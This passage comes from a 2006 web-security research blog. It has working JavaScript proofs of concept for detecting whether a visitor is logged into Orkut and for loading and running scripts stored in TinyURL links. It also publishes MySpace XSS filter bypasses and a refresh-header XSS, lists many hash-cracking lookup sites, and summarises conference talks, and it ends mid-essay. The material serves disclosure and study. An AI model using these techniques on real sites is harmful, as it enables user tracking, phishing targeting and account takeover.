Ok, so what's changed since the 30th when I posted about this under a different name (Semi-Open Redirects), well, I thought of a better name and some new ways to exploit Authenticated Redirects.

Authenticated redirects should be self-explanatory, but essentially I just mean redirects which don't redirect you if you aren't logged on (or ones which redirect you only if you aren't logged on, but its a good enough name for me anyway).

Now, in my post about Semi-Open redirects, one of the constraints I hadn't thought of a circumvention for was the need to have an open redirect, so you could control where it redirects.

Since then I've realised that its not always necessary to control where the redirect sends users. Because we can already check if a user has visited a page through the CSS history hack!

Some common types of authenticated redirects which you can find on the internet are download pages which you need to login to view, which use redirects to track how many people are getting sent to each download or other link.

But anyway, these redirects are abundant, so here's the source to a working PoC for Orkut:

<html>
<body>
<script type="text/javascript">
    function iframe_callback() {
        if(temp.offsetHeight==1){
            alert('You are NOT logged into Orkut.');
        } else {
            alert('You ARE logged into Orkut.');
        }
        c.removeChild (temp);
        document.body.removeChild(orkut_iframe);
    }

    document.write( '<style type="text/css">#nicked a:link{color:#fff;}' );
    document.write( '#nicked a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}' );
    document.write( '#nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>' );
    var c = document.createElement('div');
    c.id='nicked';
    document.body.appendChild(c)
    
    var visited = true;
    var temp = document.createElement('a');;
    temp.innerHTML = 'test';
    c.appendChild(temp);
    var random, link;
    
    while (visited == true) {
    
        random=Math.floor(Math.random()*1000000);
        link = 'https://www.orkut.com/GLogin.aspx?done=https%3A%2F%2Fwww.orkut.com%2FNews.aspx%3Ftest%3D' + random;
    
        temp.href=link;
        if(temp.offsetHeight!=1){
            visited = false;
        }
    }
        
    var orkut_iframe = document.createElement('iframe');
    orkut_iframe.src = 'https://www.orkut.com/News.aspx?test=' + random;
    orkut_iframe.style.display = 'none';
    orkut_iframe.onload = iframe_callback;
    document.body.appendChild(orkut_iframe);
    
</script>
</body>
</html>

Note: This PoC works on the principal that Orkut redirects you to a login page with the URL of where you wanted to go in the URL, and so we create URL with a random number appended to the URL, and then we see if you were redirected to the login URL.

Oh, and credit to Christian Heilmann whose CSS detecting code I essentially stole, because he was the first one smart enough to get it working in all browsers and post the working version in a comment on Jeremiah's blog. If anyone is interested I ripped the code from here: http://icant.co.uk/sandbox/nickhistory.html

Detecting Logged In Users

2006-12-30T16:58:00.000+11:00

I just wanted to comment on the various ways of checking if people are logged in that I've seen, and propose a (rather unlikely) method of my own.

Uses for the knowledge

Personally I'm rather sceptical about profiling users and don't really see a point to it. The most dangerous application of this that I could come up with is if you check if a person is logged into a bunch of banks, and then send them off to the appropriate phishing page for their bank. And phishing is generally only reliable when the user clicks on a valid looking link in a valid looking email - or so we'd hope. So even the danger there seems limited. Sure, maybe you could provide ads to competing services or something, but unless you've got some great deal or something, you're probably not going to have any luck converting people.

Now sure we could use these methods to detect whether a user is logged in before running an XSS/CSRF attack, but unless the attack requires some level of user interaction (like having them move their mouse over something, even if you make the element take up the whole screen for a second), you have no need for it. Sure if the attack requires user interaction, then you need to be sure that the user is logged in because then there is a chance that you may raise suspicion, and if you've got more than one XSS/CSRF attack to conduct you can't have the user get suspicious, otherwise you might not finish running them all.

But I can't think of any other applications, and those two don't exactly seem like

Jeremiah's Firefox Javascript Error Hack

Jeremiah's idea is great, but like almost everything else, sadly not infallible. I was talking to birdie from sla.ckers.org today and he mentioned to me that he was having no luck getting Jeremiah's Firefox Javascript Error hack to work because all the pages had an identical doctype at the top of the page, on which the Javascript engine always errored out on and there were no pdfs or images or other resources which were only available to users. So it seems that there is really no need for some elaborate defence where you specify an error handler on your page to override our error handler, or anything similar - you just need to make the first couple of lines of each page identical, and what better thing to put there than a doctype tag so that you're actually conforming to some standards at the same time.

Timing Attacks

But it didn't stop there, he also sent me the following link on using timing attacks to detect whether users are logged in: http://wasjournal.blogspot.com/2006/12/use-of-time-delay-technique-for.html because he thought it was a better way.

Now while I'd seen it before, I hadn't really thought about it before, and just discounted it as something that might be used, but probably rather unreliable, so I went and did some test and here are my results when I ran his code:

Time when logged out:
5469, 2781, 2859, 1234, 2906, 1125, 1047, 2734, 5032, 2704

Time when logged in:
672, 2688, 6469, 719, 703, 1859, 688, 1718, 750, 1782

So while the average time when logged out is definitely higher, there is a great amount of overlap, and chance for error, and this is only on one network connection.

But It got me thinking, how else would I be able to tell that a user is logged in, and i came up with:

Semi-Open Redirects

I was thinking, in what cases can you find anything about what's in an iframe? Well, when its on the same domain as your script is, and what better way to get users onto your domain than to be redirected there from the site you are 'attacking'.

Now, just to explain what I mean by Semi-Open. Firstly what is an Open Redirect? An open redirect is one where you can send anyone anywhere, essentially one where you do no validation on who you send where. Now my definition of a Semi-Open redirect is one who will send certain people anywhere, more specifically logged in users anywhere. You can probably see where I'm going with this. The only other possible definition is sending everyone to only certain places, but thats completely useless to an attacker.

So if we find a Semi-Open redirect we can place it in an iframe, and if the user is logged in they will be redirected to our domain, and we will be able to get the iframe's location, otherwise we'll just error out.

Now, while I would have loved to have a example of an Semi-Open Redirect for everyone (I don't like posts without examples or PoC's), but I don't know where ro when I will actually find one, so I'll do the next best thing, I'll post a link to someone else's PoC, which has already been patched....Ok, so its not second best, or anywhere near second best, but its close enough for this article: http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/049285.html

So in the end, while most of these ideas are rather cool (especially Jeremiah's), they don't seem to be always reliable or even useful to me.

Anyway, I hope everyone found this little burst of two posts interesting, because I'm awful at coming up with new ideas worth posting about regularly, but keep your eye peeled, I'm working on some interesting HTTP Response Splitting Payloads which I'll be posting once I get them working on Firefox and Opera 9 (something changed between Opera 8 and 9). If anyone who reads this is familiar with the Firefox source and would be willing to help me work out why things aren't working, please shoot me an email, I've been sitting on this idea for more than a month, and working PoCs for IE and opera 8 for at least 3 weeks....

Using TinyURL For Storage (includes PoC)

2006-12-30T15:17:00.000+11:00

Note: To skip to the PoC click here.

I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: http://michaeldaw.org/news/news-221206/

Sadly at the time I hadn't actually read pdp's article (http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:

Sure, you can't directly link to them and have them to redirect to data URLS, you need a different type of redirect (http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html) for that to work. And anyway, if Location headers could redirect users to data URLs then we'd have yet another XSS vector to deal with.

What you can do though is create URLs with your data in them like this one: http://tinyurl.com/ye9kbd which redirects to http://www.google.com/search?q=data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4=

But that still leaves us with the problem of having a cross-domain browser security policy, whereby we can't even find out where the URL redirected to, unless its on our site. But since we're already attacking a site, we can easily just create a tinyURL with the data in the query string.

So lets say you were conducting an XSS attack against www.example.com you could submit http://www.example.com/#data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4= to tinyURL, get a URL back, put the tinyURL in the src attribute of an invisible iframe, then set the onLoad event (or something else, onLoad is just easy to work with) to parse the location, and then simply use that data as you need to.

And since we're using the # symbol to separate our data, it won't show up in the site's logs, since everything after it shouldn't sent by the browser.

But a more profitable method would probably be to simply post your data on a site with an insecure crossdomain.xml file, and use flash to make arbitrary requests to read that data.

Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:

<html>
<body>
<script>

function getURLEncodedScriptFromTiny (tiny, len) {

    var b64iframe = document.createElement('iframe');
    b64iframe.src = tiny;
    b64iframe.style.display = 'none';
    var callback = new Function ('getb64callback(this, ' + len + ');');
    b64iframe.onload = callback;
    document.body.appendChild(b64iframe);
}

function getb64callback (iframe, len) {

    var script = iframe.contentDocument.location + '';
    script = unescape(script.substring(len));

    document.body.removeChild (iframe);

    var b64script = document.createElement('script');
    b64script.type = 'text/javascript';
    b64script.text = script;
    document.body.appendChild(b64script);

}

function getDataFromTiny (tiny, len, order) {

    var data_iframe = document.createElement('iframe');
    data_iframe.src = tiny;
    data_iframe.style.display = 'none';
    var callback = new Function ('getDatacallback(this, ' + len + ', ' + order 

+ ');');
    data_iframe.onload = callback;
    document.body.appendChild(data_iframe);
}

function getDatacallback (iframe, len, order) {

    var temp = iframe.contentDocument.location + '';
    data[order] = temp.substring(len);
    loaded++;
    document.body.removeChild (iframe);
}

getURLEncodedScriptFromTiny ('http://tinyurl.com/ycx7mq', 18);

var data = new Array(2);
var loaded = 0;

getDataFromTiny ('http://tinyurl.com/w6jwb', 18, 0);
getDataFromTiny ('http://tinyurl.com/y35tuw', 18, 1);

function CheckLoaded() {
    if (loaded = 2) {
        clearInterval (tiny_wait);
        var content = document.createElement('textarea');
        content.value = decode64(data.join(''));
        content.cols = 80;
        content.rows = 20;
        document.body.appendChild(content);
    }
}

var tiny_wait = setInterval('CheckLoaded()',2000);


</script>
</body>
</html>

Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.

Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work efficiently is a task left to the reader, :p

MySpace Non-Alpha-Non-Digit XSS 0day

2006-12-24T10:44:00.000+11:00

It seems that MySpace has finally understood the issue here, which is good news, but the way their filter is written is working against them, or at least thats what I'm guessing from the results I'm getting.

Anyway, here's the exploit:

<body onLoadmoz-binding="alert('XSS');">

As you can see if you run that moz-binding is changed to .., and we are left with the following:

<body onLoad..="alert('XSS');">

So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.

Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.

Not all redirection scripts are created equal.

2006-11-23T18:15:00.000+11:00

Now, I'm sure we're all used to redirection scripts by now, and most of us should be aware of the danger of HTTP Response Splitting when allowing user content in the headers we send, and that there is also a patch in PHP since 4.4.2 and 5.1.2 which prevents this by dissalowing multiple lines in a single header call. This patch is not completely bullet proof as articles such as HTTP Response Smuggling illustrate, but sometimes there's an easier way to achieve what you want.

First of all, what is it that HTTP Response splitting gets most used for anyway? XSS. So any injection that will give us an XSS vector is just as good as any other.

But like the title says, not all redirection scripts are created equal. The most common approach used to redirect people is somewhat similar to the following:

<?php
header ("Location: ".$_GET['url']);
?>

Which, when the PHP patch is applied, should be perfectly safe when ti comes to preventing XSS.

But is that the only approach? As some recent auditing I've done has shown me, its not.

I found something like the following not too long ago:

<?php
header ('refresh: 0; URL="'.$_GET['url'].'"');
?>

And while it may serve the same needs as the above it, its surprisingly different. But before I explain the exact problem, does the header look familiar to you? It should, its the header that is used in meta tags to redirect users, and if you've done much reading on XSS you should know that meta redirects are another way to execute javascript.

And unsurprisingly enough, the above header follows the same rules. The refresh header, unlike the location header allows you to redirect users to javascript: or other URLS, depending on what your browsers support, so it should be no trouble at all to simply pass a javascript url to the script and have the user execute the javascript.

Just goes to show how there is generally more than one way to do something, but going down an untested road will often lead to unforseen problems that have already been solved for other approaches.

More MySpace XSS

2006-11-05T09:56:00.000+11:00

I don't know whether to feel sorry for MySpace, or whether to laugh. The amount of XSS holes in MySpace is nothing short of outstanding.

And the sad thing is they've clearly tried to fix as many things as they've been able to find, but some things have fallen just short.

Anyway, the flaw I found this time around is that MySpace doesn't know that you can have an underscore (_) between an attribute name and the equals sign, and have it being valid, like so: (Note: This only works on Firefox)

<body onLoad_="alert('XSS');">

But the interesting thing is that they have got a regex which dissallows everything which looks like on*= (obviously it doesn't look anything like that, but I'm not going to bother trying to write regexs), and yet they've done it in such a way that they need to know about what characters are allowed, essentially creating ablacklist of chars which they won't let you use between an attribute name and an equals sign. Why anyone would create a blacklist for that amazes me.

Myspace XSS Fragmentation - Again

2006-10-27T22:19:00.000+10:00

Well, as Dark Reading reported I believed that the patch MySpace implemented was near-sighted, and that it was possibly vulnerable to more XSS Fragmentation attacks. And it is.

(The following rewritten for clarity. 28/20/06 11PM GMT)
===========================
MySpace XSS Vulnerability 0day
Released 28/10/06
by kuza55 of w4ck1ng.com
===========================

Contents:

1.0 Introduction
2.0 Analysis
2.1 MySpace's Fix
2.2 Other XSS Fragmentation Attacks
3.0 PoC
4.0 Final Notes

===========================
1.0 Introduction
===========================
The vulnerability explained here is an XSS Fragmentation attack. Breifly, and XSS Fragmentation attack is one which works by placing 2 seperately harmless pieces of HTML into two different input field which are rendered on the same page, which when rendered join to create a dangerous attack vector. More details, along with the previous MySpace attack, can be found here: XSS Fragmentation Attacks + Myspace 0day

MySpace found about the vulnerability in the above link and implemented a 'fix', it hasn't held.

===========================
2.0 Analysis
===========================
This section should explain what MySpace did, and why other Fragmentation attacks don't work.

===========================
2.1 MySpace's Fix
===========================
This section assumes you already know about the previous vulnerbaility.

Anyway, the fix that MySpace implemented altered their event handler stripping code, which previously removed event handlers if they were inside a tag. They changed it so that it also removed all event handlers after a single quote, no matter if it was in a tag or not. And while it addressed the PoC code in my earlier post, they did not implement the recomended fix, and now again find themselves vulnerable.

The reason this is not enough is because there are considerably more XSS attack vectors than the simple one I used. They range from the simplest (using other encapsulation characters - as this attack does) to using style and other attributes and tags to execute javascript.

===========================
2.2 Other XSS Fragmentation Attacks
===========================
Now, it would have been considerably more interesting to come out with a completely different XSS Fragmentation attack, but sadly that is not possible due to the way MySpace's filter works.

One of the requirements for being able to execute an XSS Fragmentation attack is that the filter must be stateful (or contextual, or however you want to describe it), in that it will allow things that are malicious under some circumstances to be included if they are judged to be being inserted in safe circumstances.

The only part of MySpace's filter which does this is the event handler code. All th other vectors which could be used like javascript in image tags, or javascript in URLs for background images, etc, are all filteredout wherever they are. For example if you type "moz-binding" in any input field it is automatically filtered out, the same goes for "expression (", "javascript:", "data:" and several others. In effect this stops XSS Fragmentation attacks in these altogether. And while this seems like its is not a very good solution because it possible for users to need to type those words normally, thats the way its been done, and no-one is complaining.

===========================
3.0 PoC
===========================
This PoC is almost identical to the previous one, except the single quotes (') are changed to grave accents (`). Insert these 2 separate pieces of code into 2 separate input fields: (Note: This only works on IE and Netscape 8.1, because other browsers don't understand grave accents as encapsulation chracters for HTML tag attributes.)

<body test=`

` onLoad="alert('XSS');">

===========================
4.0 Final Notes
===========================
Well, what can I say? I explained a fix, they didn't use it, they ended up being vulnerbale again, what a surprise.

Online Reverse Lookup Tables For Various Hashing Algorithms

2006-10-22T19:56:00.000+10:00

Here's a list of the various online reverse-lookup tables I found, they all support md5, but some support other hashes as well (including SHA-1 & NT/LM)

If you know of any more PLEASE tell me and I'll add them to the list.

Update: C'mon guys, is it that hard to just leave a comment with the other crackers you know about? I don't moderate comments, you don't need to sign up or anything, just leave a link. I know you guys know of more than this list because I check the referers Google Analytics tells me about, and go to forums and find people linking to others, but no-one has told me of any extra ones.

Some of them seem to be down atm, but since I'm not sure how long they've been down or if they're coming back I'm posting them anyway.

md5:
http://www.tmto.org/ (formerly md5lookup.com)
http://md5.rednoize.com (good with words)
http://nz.md5.crysm.net (English dictionary, nearly all one to four character alphanumeric. 27.8m records.) - seems to be down atm
http://us.md5.crysm.net (British, Jargon and American worldlist, IP addresses 16.0m records)
http://www.xmd5.org (good with numbers)
http://gdataonline.com (wordlist based, I think)
http://www.hashchecker.com (It seems to say its good, but I've never gotten many hits form here)
http://passcracking.ru
http://www.milw0rm.com/md5
http://plain-text.info (this one is quite good and generally returns results, but you have to submit things to be cracked, its not just an online database)
http://www.securitystats.com/tools/hashcrack.php (does various, including LM NTLM and SHA-1, but seems to return no results on anything than the most basic, so rather useless)
http://www.schwett.com/md5/ - Does Norwegian words too
http://passcrack.spb.ru/
http://shm.pl/md5/
http://www.und0it.com/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://md5.geeks.li/
http://www.hashreverse.com/
http://www.cmd5.com/english.aspx
http://www.md5.altervista.org/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://alimamed.pp.ru/md5/ (for those who can't read russian: put your md5 in the second box)
http://md5crack.it-helpnet.de/index.php?op=add (German, I have no idea....)
http://cijfer.hua.fi/ (Projects->md5 reverse lookup)
http://shm.hard-core.pl/md5/
http://www.mmkey.com/md5/HOME.ASP
http://www.thepanicroom.org/index.php?view=cracker
http://rainbowtables.net/services/results.php (I'm not sure i'd trust this site to give more than a tiny amount of results)
http://rainbowcrack.com/ (requires people to contribute rainbowtables to be able to query them, and continue contributing them constantly)
http://www.securitydb.org/cracker/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7 (This is meant to be used as proof that they can actually reverse passwords to convince you to buy their stuff, but as long as they decrypt it it doesn't matter why, right?)
http://0ptix.co.nr/md5
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com
http://www.pldsecurity.de/forum/md5.php
http://www.xeons.net/genesis/
http://hackerscity.free.fr/
http://bisix.cogia.net/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/ (The form at the bottom left of the page)
http://www.jock-security.com/md5_database/?page=crack
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.blackfiresecurity.com/tools/md5lib.php (Queries the MD5 Library AIM Bot)
http://www.md5-db.com/index.php
http://www.kevlardisk.org/
http://md5.idiobase.de/
http://md5search.deerme.org/
http://sha1search.com/

lm Only:
http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/ (Currently Offline)
http://www.milw0rm.com/lm (Currently Offline)

lm + ntlm:
http://plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7
https://www.astalavista.net/?cmd=rainbowtables

md4:
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/

sha1:
http://passcrack.spb.ru/
http://www.hashreverse.com/
http://rainbowcrack.com/
http://www.md5encryption.com/
http://www.shalookup.com/
http://md5.rednoize.com/
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.tmto.org/
http://md5search.deerme.org/

XSS Fragmentation Attacks + MySpace 0day

2006-10-21T17:00:00.000+10:00

===========================
Fragmentation Is Not Just For The Network
XSS Fragmentation Attacks
Written 18/10/06
by kuza55
===========================

Contents:

1.0 Introduction to Fragmentation Attacks
2.0 XSS Fragmentation Attacks
3.0 MySpace 0day!
4.0 Mitigation
5.0 Final Notes

===========================
1.0 Introduction to Fragmentation Attacks
===========================
At the simplest level, fragmentation attacks are possible when several fragments, which are by themselves not a security risk and can therefore be allowed to pass through a filter or firewall, but when the fragments reach their destination the fragments are combined and produce something dangerous.

Fragmentation attacks are usually seen in relation to the network/session layer where firewalls and IDSs try to filter packets on how dangerous they are deemed to be, they are also used to sometimes fool those same devices which try to rearrange the packets themselves and read the streams, but that is not what this article is about, this article is specifically about attacks where the whole document is not reassembled and checked.

===========================
2.0 XSS Fragmentation Attacks
===========================
XSS Fragmentation attacks are generally quite rare because they require either multiple sets of input being displayed on the same page which have all gone through the same (or at least a similar) XSS filter and are not tidied up.

Another requirement that must be placed on the XSS filter is that it must be completely dumb in the sense that it simply strips away < and > characters, or it is stateful, and allows certain strings in places where it would not allow them, e.g. <body onload="alert('XSS');"> would not be allowed, but onload="alert('XSS');" would be.

The idea behind XSS fragmentation attacks is to have your normally non-dangerous code (e.g. onload="alert('XSS');") placed in a dangerous position.

The simplest place to get your code placed is inside another tag and that is the example I'll go with now.

===========================
3.0 MySpace 0day!
===========================
The example I'll be using is a MySpace 0day I discovered. First of all I’ll give a quick explanation of the system MySpace has. You are not just given a single field to enter your profile into, you are given several fields about yourself, who you'd like to meet, your interests, etc.

Anyway, the sections we will be attacking are the most closely placed sections on the page, the interests sections (more specifically the Music and Film ones), normally your resulting code looks like this:

<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Music</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td></tr>

The only things separating our 2 fields was this small block of code:

</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">

Now what interesting things can we see about that code, well we can see that there are no single quotes there at all, and the only quotes used are double quotes.

So of course we can do something to encapsulate the text in between like so:

<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Music</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"><body test='</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">'>Films Go Here!</td></tr>

and as you can see we have included all that text in between in the test parameter for the body tag we've introduced! And as you can also see we have the ability to write things into our tag in the second input field and it will be automatically place din a dangerous position! So if we make our Films field look like so:
' onLoad="alert('XSS');"></body>
then we have XSS.

This is exactly the attack used on MySpace, and should work on many other sites where input is not cleaned up and dangling tags are allowed to be posted.

Maybe on some sites which allow user comments on articles, etc are vulnerable?
(Note: Wordpress and Blogger aren't vulnerable, see Mitigation)

===========================
4.0 Mitigation
===========================
The root of this problem is that sections are filtered separately, but that problem is one that is probably too time-consuming to bother with as fixing another requirement needed for the attack to work is much easier to fix.

The easiest fix is to use something many filtering systems already do for other reasons: disallow incomplete/unclosed tags. At the moment I see no way of being able to exploit the above idea if the filtering engine does not allow either unfinished tags (like in the example above) or unclosed tags (e.g. <style> tags).

===========================
5.0 Final Notes
===========================
Well, what can I say, this is probably a corner case of XSS filter evasion, but it is a corner case that could possibly be applied to many situations since we seem to be able to post html comments in many places these days. I also hope it helps illustrate how security mechanisms such as XSS filters cannot be used as simple drop in modules, but have to be integrated into your design for them to work effectively.

Sadly/Luckily (depending on your viewpoint) manyfilters such as the ones employed by Wordpress and Blogger force you to have 'neat' HTML so this attack is impossible on those 2 cases.

Updated my article entitled " Writing an XSS Worm" to v0.3

2006-10-17T18:35:00.000+10:00

Just posting to say that I've updated the guide I've written to include a brief explanation of how to create an XSS worm using Flash. The aditions are not very in depth and exist to give it more completeness than any other reason, but that is primarily because all that needs to be done with Flash is so self explanatory I don't really believe I need to provide any worm code for people to be able to easily grasp the idea and be able to implement it.

If you are only interested in seeing the updates, I have marked all the updates with the word "Update:" in bold so they should be easy to find.

Ruxcon 2006

2006-10-11T20:51:00.000+10:00

Note:(15/11/06): storm.net.nz (metlstorm's site - which hosts many of the files linked to here) is down and so I've uploaded all the files related to his talk here: http://mihd.net/qulyn8

Its quite a while after Ruxcon is over, but I completely forgot I even had a blog, let alone remembered to actually update it.

Anyway, Ruxcon was awesome, saw some really cool talks, saw some really amazing things, saw more applications for existing ideas.

But the one talk I'm sure will stand out in everyone's mind is security-assesment.com's Adam "Metlstorm" Boileau's "Hit By A Bus: Physical Access Attacks with Firewire" talk. Only 2 new things were really unveiled in this talk (not that that minimises their importance), but due to his theatrics it was the one that everyone I talked to mentioned as their favourite for the first day.

I'm not going to outline it since I wouldn't give it the credit it deserves, so i recomend going and having a look at his presentation here: http://www.ruxcon.org.au/files/2006/firewire_attacks.pdf and also on the page relating to the talk on his own website where all the tools/code have been uploaded: http://www.storm.net.nz/projects/16

I will cover the 2 new things that he disclosed though:

Firewire Direct Memory Access (DMA) attacks which were previously not possible against Windows now are. The way to gain DMA in a windows machine through firewire is to pretnd to be a trustworthy device like an iPod or similar, not an evil Linux box.

BIOS and Disk Encryption passwords are storedin the realmode keyboard buffer which is not cleared when the computer enters protected mode, and so BIOS and disk encryption passwords are still in memory when the computer is running. THe nly limitation to this though is that the buffer is limited to 15 characters, so while its going to get you the whole passord most of the time, its not going to get it all the time, but even so, 15 characters is still a lot of information.

So as he said "Firewire is great. Everyone should get Firewire.", now time to get a box with a Firewire port and linux on my iPod and we'll see what havoc I can cause, :p

I also rather enjoyed Ilja van Sprundel's talk entitled "Unusual Bugs" for which the presentation can be found here: http://www.ruxcon.org.au/files/2006/unusual_bugs.pdf. It was rather interesting to me since I have not had much experience in security outside wb apps, so it helped a lot. There'a a funny little quotes on one of his websites, which I found rather amusing:

A warning: printf uses its first argument to decide how many arguments follow and what their type is. It will get confused, and you will get wrong answers, if there are not enough arguments of if they are the wrong type. You should also be aware of the difference between these two calls:

printf(s); /* FAILS if s contains % */
printf("%s", s); /* SAFE */

-- The C programming language 2nd edition (1988).

And the other talk which i really enjoyed was the second last talk of the conference, which was Ben Hawkes' "Exploiting OpenBSD" for which slides are vailiable at http://www.ruxcon.org.au/files/2006/hawkes_openbsd.pdf it helped me understand more fully the protections in place in OpenBSD, and Operating Systems in general. Furthermore I found it interesting that the technique which Ben described as "byte for byte" brute forcing is an idea described in several articles in web application security for doing Blind SQL Injection Table Enumeration[1]. This leads me to believe that we are destined to solving the same problems over and over for every single technology, not just finding out that forgetting to Authenticate is bad in web apps, then completely forgetting the idea for AJAX (as per Andrew van der Stock's "Ajax Security" talk), or as the case is here thinking of an idea for attacking web apps and then not trying to think of what other applications the idea might have.

Not that I'm trying to diminish Ben's idea, it is one that really helps, but it is one I'm sure that anyone who has seen the SQL Injection technique I have described will automatically jump to when thinking of how to execute a "better brute force" attack, I know that was the first thing I thought of when he started saying he had thought of a better technique.....

Anyway, I had a great time, saw some interesting things, learned a lot, and met a few people. Also an interesting bit of trivia; at the Google party on the saturday night which I think approximately 60-80 people attended they drank $4,000 of drinks on googleaccount, and the moment this was announced the following morning a huge chear went up, just before another security-asesment.com employee's - Morgan Marquis-Boire - talk "Access over Ethernet: Insecurites in AoE".

[1] I'll try to find where I found this mentioned, but essentially the idea is that when performing Blind SQL injection its possible to do checks on single letters rather than whole records, so you can find out how many tables begin with the letter a, the letter b, the letter c, etc, and then for each of those see how many have the second letter asa, as b, etc, etc, and run a brute force letter by letter.

Well, i didn't find the article I read (probably because i read the article on some obscure hacking site at least 6 months ago, and I have no idea where that could be), but I found an article on using a tool which uses the described attak here: http://www.justinclarke.com/archives/2006/03/sqlbrute.html

Validation in Context

2006-04-24T21:19:00.001+10:00

Its been a while since I posted anything here, but considering I'm fairly sure no-one actually reads this and I had nothing new to write that hadn't been written elsewhere (or at least I haven't seen written elsewhere), I haven't really bothered writing much more, but after finding an XSS hole relating to this topic today i thought I'd write about it.

======================
Validation in Context
======================

==============
Contents
==============

  - 1.0 Introduction
  - 1.1 What is context?
  - 1.2 Why is context important?

  - 2.0 The contexts of SQL Injection

  - 3.0 The contexts of XSS

  - 4.0 Conclusion

================
1.0 Introduction
================
In this article I would like to explain the need for the need of validation (and encoding/escaping) in context. The need for validation is one that is often known only by a few implications, and usually performed either prematurely or inadequately. One of the great sources of inadequacy is encoding and validation out of context.

==============
1.1 What is context?
==============
Context is, in the most simple of terms, is the circumstances in which something occurs. For the sake of this article we will refer to context as the circumstances in which operations are performed on user input. An understanding of context is essential to good input validation, encoding/escaping etc (simply referred to as validation from here-on-in).

==============
1.2 Why is context important?
==============
Context is important because we are trying to somehow pass user input to extremely complex systems, be they relational database management systems (RDBMS), browsers or operating systems, without the complex system performing any unexpected actions.

In the simplest of terms, context is important because its (generally) pointless to use a method used in one situation on another situation, e.g. escaping quotes is pointless in stopping XSS, just as escaping < and > symbols is useless in stopping SQL Injection.

==============
1.3 Understanding and finding contexts
==============
For us to be able to understand and find contexts we must be intimately familiar with the system into which we are feeding user input. And furthermore we must be able to know how much capacity for error the system will allow. The easiest example of contexts which we can find would be in SQL injection, which I will cover in the next section.

================
2.0 The contexts of SQL Injection
================
To find contexts in SQL Injection we must first understand our queries. For example, if we are placing user input inside single quotes, it is pointless for us to only escape double quotes and vice versa. And so we have our first 2 states:

  - An expression inside single quotes
  - An expression inside double quotes

But an expression does not have to be inside quotes at all, we could have an integer which is outside quotation marks because it then does not force the RDBMS to evaluate the string and convert it to a number, and in this case our normal validation of escaping quotes (either one or both) would be of extremely limited use in stopping an attacker because the attacker does not need to use quotes to break out of the expression, and does not need quotes for almost all other actions they would like to perform. And so now we have our third context:

  - An un-enclosed expression

But since we know that the value we are expecting is an integer; validating it is not all that difficult, but cases like these prevent solutions like magic_quotes_* (as in PHP's case) from working completely, and begin to illustrate why validation needs to be done in context rather than in a way which stops a few vectors.

In SQL the contexts are few, but do help to illustrate how context needs to be taken into account.

================
3.0 The contexts of XSS
================
